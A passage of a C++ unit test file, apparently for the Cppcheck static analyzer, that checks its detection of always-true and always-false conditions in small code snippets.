Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9256\n check(\"bool f() {\\n\"\n \" bool b = false;\\n\"\n \" b = true;\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10702\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" void increment() { ++_count;}\\n\"\n \" auto get() const { return _count; }\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object) : _object(object) {}\\n\"\n \" void do_something() { _object.increment(); }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" auto get() const;\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object);\\n\"\n \" void do_something();\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint32_t u) {\\n\"\n \"\tconst uint32_t v = u < 4;\\n\"\n \"\tif (v) {\\n\"\n \"\t\tconst uint32_t w = v < 2;\\n\"\n \"\t\tif (w) {}\\n\"\n \"\t}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style) Condition 'v<2' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:7]: (style) Condition 'w' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(double d) {\\n\" // #10792\n \" if (d != 0) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (0 != d) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { double d; }\\n\"\n \"void f(A a) {\\n\"\n \" if (a.d != 0) {\\n\"\n \" int i = a.d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if(strlen(\\\"abc\\\") == 3) {;}\\n\"\n \" if(strlen(\\\"abc\\\") == 1) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 3) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 1) {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'strlen(\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:22]: (style) Condition 'strlen(\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:23]: (style) Condition 'wcslen(L\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:23]: (style) Condition 'wcslen(L\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if(!a && b && (!a == !b))\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:2:21]: (style) Condition '!a==!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10454\n check(\"struct S {\\n\"\n \" int f() const { return g() ? 0 : 1; }\\n\"\n \" bool g() const { return u == 18446744073709551615ULL; }\\n\"\n \" unsigned long long u{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8358\n check(\"void f(double d) { if ((d * 0) != 0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6870\n check(\"struct S {\\n\"\n \" int* p;\\n\"\n \" void f() const;\\n\"\n \" int g();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" if ((p == NULL) || ((p) && (g() >= *p))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Condition 'p' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10749\n check(\"struct Interface {\\n\"\n \" virtual int method() = 0;\\n\"\n \"};\\n\"\n \"struct Child : Interface {\\n\"\n \" int method() override { return 0; }\\n\"\n \" auto foo() {\\n\"\n \" if (method() == 0)\\n\"\n \" return true;\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct GrandChild : Child {\\n\"\n \" int method() override { return 1; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6855\n check(\"struct S { int i; };\\n\"\n \"void f(S& s) {\\n\"\n \" if (!(s.i > 0) && (s.i != 0))\\n\"\n \" s.i = 0;\\n\"\n \" else if (s.i < 0)\\n\"\n \" s.s = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:5:18]: (style) Condition 's.i<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6857\n check(\"int bar(int i) { return i; }\\n\"\n \"void foo() {\\n\"\n \" if (bar(1) == 0 && bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'bar(1)==0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:31]: (style) Condition 'bar(1)>0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S { int bar(int i) const; };\\n\"\n \"void foo(const S& s) {\\n\"\n \" if (s.bar(1) == 0 && s.bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (warning) Logical conjunction always evaluates to false: s.bar(1) == 0 && s.bar(1) > 0. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct B {\\n\" // #10618\n \" void Modify();\\n\"\n \" static void Static();\\n\"\n \" virtual void CalledByModify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" void testV();\\n\"\n \" void testS();\\n\"\n \" void CalledByModify() override { i = 0; }\\n\"\n \"};\\n\"\n \"void D::testV() {\\n\"\n \" i = 1;\\n\"\n \" B::Modify();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\"\n \"void D::testS() {\\n\"\n \" i = 1;\\n\"\n \" B::Static();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:11]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"typedef struct { bool x; } s_t;\\n\" // #8446\n \"unsigned f(bool a, bool b) {\\n\"\n \" s_t s;\\n\"\n \" const unsigned col = a ? (s.x = false) : (b = true);\\n\"\n \" if (!s.x) {}\\n\"\n \" return col;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11233\n \" static std::string m;\\n\"\n \" static void f() { m = \\\"abc\\\"; }\\n\"\n \" static void g() {\\n\"\n \" m.clear();\\n\"\n \" f();\\n\"\n \" if (m.empty()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11203\n check(\"void f() {\\n\"\n \" int i = 10;\\n\"\n \" if(i > 9.9){}\\n\"\n \" float f = 9.9f;\\n\"\n \" if(f < 10) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:10]: (style) Condition 'i>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:10]: (style) Condition 'f<10' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n check(\"constexpr int f() {\\n\" // #11238\n \" return 1;\\n\"\n \"}\\n\"\n \"constexpr bool g() {\\n\"\n \" return f() == 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() { return -1; }\\n\"\n \"void f() {\\n\"\n \" if (g() == 1 && g() == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'g()==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:25]: (style) Condition 'g()==-1' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #9817\n check(\"void f(float x) {\\n\"\n \" if (x <= 0) {}\\n\"\n \" else if (x < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10426\n check(\"int f() {\\n\"\n \" std::string s;\\n\"\n \" for (; !s.empty();) {}\\n\"\n \" for (; s.empty();) {}\\n\"\n \" if (s.empty()) {}\\n\"\n \" if ((bool)0) {}\\n\"\n \" return s.empty();\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition '!s.empty()' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:19]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:16]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition '(bool)0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:19]: (style) Return value 's.empty()' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\"\n \"bool g(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:35]: (style) Return value 'static_cast(1)' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:12]: (style) Return value '(int)0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() { return 3; }\\n\"\n \"int g() { return f(); }\\n\"\n \"int h() { if (f()) {} }\\n\"\n \"int i() { return f() == 3; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'f()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:22]: (style) Return value 'f()==3' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" const char *n;\\n\"\n \" return((n=42) &&\\n\"\n \" *n == 'A');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::istringstream& i) {\\n\" // #9327\n \" std::string s;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11227\n check(\"struct S {\\n\"\n \"\tint get();\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" g(s ? s->get() : 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:7]: (style) Condition 's' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const char* o) {\\n\" // #11558\n \" if (!o || !o[0])\\n\"\n \" return;\\n\"\n \" if (o[0] == '-' && o[1]) {\\n\"\n \" if (o[1] == '-') {}\\n\"\n \" if (o[1] == '\\\\0') {}\\n\"\n \" }\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:6:18]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:6]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n check(\"void f(int x) {\\n\" // #11449\n \" int i = x;\\n\"\n \" i = (std::min)(i, 1);\\n\"\n \" if (i == 1) {}\\n\"\n \" int j = x;\\n\"\n \" j = (::std::min)(j, 1);\\n\"\n \" if (j == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void h(int);\\n\" // #11679\n \"bool g(int a) { h(a); return false; }\\n\"\n \"bool f(int i) {\\n\"\n \" return g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a) {\\n\" // #11051\n \" a = \\\"x\\\";\\n\"\n \" if (a == \\\"x\\\") {}\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'a==\\\"x\\\"' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(i == 7);\\n\"\n \" g(p == nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'i==7' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition 'p==nullptr' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"enum E { E0, E1 };\\n\"\n \"void f() {\\n\"\n \"\tstatic_assert(static_cast(E::E1) == 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" bool g();\\n\"\n \" int h();\\n\"\n \"};\\n\"\n \"void f(a c, int d, int e) {\\n\"\n \" if (c.g() && c.h()) {}\\n\"\n \" else {\\n\"\n \" bool u = false;\\n\"\n \" if (d && e)\\n\"\n \" u = true;\\n\"\n \" if (u) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #11741\n \" i = -i - 1;\\n\"\n \" if (i < 0 || i >= 20)\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace S { int s{}; };\\n\" // #11046\n \"void f(bool b) {\\n\"\n \" if (S::s) {\\n\"\n \" if (b) {\\n\"\n \" if (S::s) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Condition 'S::s' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10811\n \" int i = 0;\\n\"\n \" if ((i = g(), 1) != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Condition '(i=g(),1)!=0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned i) {\\n\"\n \" const int a[2] = {};\\n\"\n \" const int* q = a + i;\\n\"\n \" if (q) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Condition 'q' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12786\n \" const int b[2] = {};\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int j = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 1:\\n\"\n \" j = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \" if (j != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char *s1 = foo();\\n\"\n \" const char *s2 = bar();\\n\"\n \" if (s2 == NULL)\\n\"\n \" return;\\n\"\n \" size_t len = s2 - s1;\\n\"\n \" if (len == 0)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int h();\\n\" // #12858\n \"bool g() {\\n\"\n \" bool b{};\\n\"\n \" try {\\n\"\n \" int x = h();\\n\"\n \" switch (x) {\\n\"\n \" default:\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" b = false;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x, int y) {\\n\" // #11822\n \" if (x) {\\n\"\n \" switch (y) {\\n\"\n \" case 1:\\n\"\n \" return 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" \\n\"\n \" if (y)\\n\"\n \" return 8;\\n\"\n \" \\n\"\n \" if (x)\\n\"\n \" return 9;\\n\"\n \" \\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10561\n \"bool h();\\n\"\n \"int f() {\\n\"\n \" bool b = false;\\n\"\n \" try {\\n\"\n \" switch (g()) {\\n\"\n \" default:\\n\"\n \" b = h();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {}\\n\"\n \" return b ? 1 : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" const S* get2() const {\\n\"\n \" if (mS)\\n\"\n \" return mS;\\n\"\n \" return this;\\n\"\n \" }\\n\"\n \" S* mS = nullptr;\\n\"\n \"};\\n\"\n \"void f2() {\\n\"\n \" const S s;\\n\"\n \" const S* sp2 = s.get2();\\n\"\n \" if (sp2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:9]: (style) Condition 'sp2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int i);\\n\"\n \" bool g() const { return !m.empty(); }\\n\"\n \" std::set m;\\n\"\n \"};\\n\"\n \"void S::f(int i) {\\n\"\n \" bool b = g();\\n\"\n \" auto it = m.find(i);\\n\"\n \" if (it != m.end()) {\\n\"\n \" m.erase(it);\\n\"\n \" if (g() != b) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueSymbolic()\n {\n check(\"void f(const uint32_t x) {\\n\"\n \" uint32_t y[1];\\n\"\n \" y[0]=x;\\n\"\n \" if(x > 0 || y[0] < 42){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'y[0]<42' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if(x < y && x < 42) {\\n\"\n \" --x;\\n\"\n \" if(x == y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:4:14]: (style) Condition 'x==y' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) { if (a == b && a && !b){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:41] -> [test.cpp:1:46]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(bool a, bool b) { if(a && b && (!a)){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:40]: (style) Condition '!a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x < y) {\\n\"\n \" auto z = y - x;\\n\"\n \" if (z < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:11]: (style) Condition 'z<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int &index, const int s, const double * const array, double & x) {\\n\"\n \" if (index >= s)\\n\"\n \" return false;\\n\"\n \" else {\\n\"\n \" x = array[index];\\n\"\n \" return (index++) >= s;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:6:26]: (style) Return value '(index++)>=s' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"} c;\\n\"\n \"void d() {\\n\"\n \" a *e = nullptr;\\n\"\n \" e = c.b();\\n\"\n \" if (e) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int i) {\\n\"\n \" if (i < 256)\\n\"\n \" return 1;\\n\"\n \" const int N = 2 * i;\\n\"\n \" i -= 256;\\n\"\n \" if (i == 0)\\n\"\n \" return 0;\\n\"\n \" return N;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\"\n \" if (i < j) {\\n\"\n \" i++;\\n\"\n \" if (i >= j)\\n\"\n \" return;\\n\"\n \" i++;\\n\"\n \" if (i >= j) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int get_delta() {\\n\"\n \" clock_t now_ms = (clock() / (CLOCKS_PER_SEC / 1000));\\n\"\n \" static clock_t last_clock_ms = now_ms;\\n\"\n \" clock_t delta = now_ms - last_clock_ms;\\n\"\n \" last_clock_ms = now_ms;\\n\"\n \" if (delta > 50)\\n\"\n \" delta = 50;\\n\"\n \" return delta;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10555\n check(\"struct C {\\n\"\n \" int GetI() const { return i; }\\n\"\n \" int i{};\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" C *m_PC{};\\n\"\n \" Modify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void test(); \\n\"\n \"};\\n\"\n \"void D::test() {\\n\"\n \" const int I = m_PC->GetI();\\n\"\n \" Modify();\\n\"\n \" if (m_PC->GetI() != I) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10624\n check(\"struct Data {\\n\"\n \" Base* PBase{};\\n\"\n \"};\\n\"\n \"void f(Data* BaseData) {\\n\"\n \" Base* PObj = BaseData->PBase;\\n\"\n \" if (PObj == nullptr)\\n\"\n \" return;\\n\"\n \" Derived* pD = dynamic_cast(PObj);\\n\"\n \" if (pD) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9549\n check(\"void f(const uint32_t v) {\\n\"\n \" const uint32_t v16 = v >> 16;\\n\"\n \" if (v16) {\\n\"\n \" const uint32_t v8 = v16 >> 8;\\n\"\n \" if (v8) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10649\n check(\"void foo(struct diag_msg *msg) {\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if((!a == !b) && !a && b)\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:2:26]: (style) Condition 'b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11124\n check(\"struct Basket {\\n\"\n \"\tstd::vector getApples() const;\\n\"\n \"\tstd::vector getBananas() const;\t\\n\"\n \"};\\n\"\n \"int getFruit(const Basket & b, bool preferApples)\\n\"\n \"{\\n\"\n \" std::vector apples = b.getApples();\\n\"\n \" int apple = apples.empty() ? -1 : apples.front();\\n\"\n \" std::vector bananas = b.getBananas();\\n\"\n \" int banana = bananas.empty() ? -1 : bananas.front();\\n\"\n \" int fruit = std::max(apple, banana);\\n\"\n \" if (fruit == -1)\\n\"\n \" return fruit;\\n\"\n \" if (std::min(apple, banana) != -1)\\n\"\n \" fruit = preferApples ? apple : banana;\\n\"\n \" return fruit;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string & s, int i) {\\n\"\n \" const char c = s[i];\\n\"\n \" if (!std::isalnum(c)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11404\n \" int f() const;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void h(std::vector::iterator it) {\\n\"\n \" auto i = (*it)->f();\\n\"\n \" (*it)->g();\\n\"\n \" auto j = (*it)->f();\\n\"\n \" if (i == j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11384\n check(\"bool f(const int* it, const int* end) {\\n\"\n \"\treturn (it != end) && *it++ &&\\n\"\n \" (it != end) && *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12116\n check(\"void f(int n) {\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (i < n) {}\\n\"\n \" else if (i > n) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12681\n check(\"void f(unsigned u) {\\n\"\n \" if (u > 0) {\\n\"\n \" u--;\\n\"\n \" if (u == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned u) {\\n\"\n \" if (u < 0xFFFFFFFF) {\\n\"\n \" u++;\\n\"\n \" if (u == 0xFFFFFFFF) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\" // #12937\n \" bool c = !a && b;\\n\"\n \" if (a) {}\\n\"\n \" else {\\n\"\n \" if (c) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned x) {\\n\" // #13522\n \" unsigned u = x;\\n\"\n \" int i = u - 0;\\n\"\n \" if (i < 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueInfer() {\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x != 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6890\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x == -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x != -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x!=-1' is always true 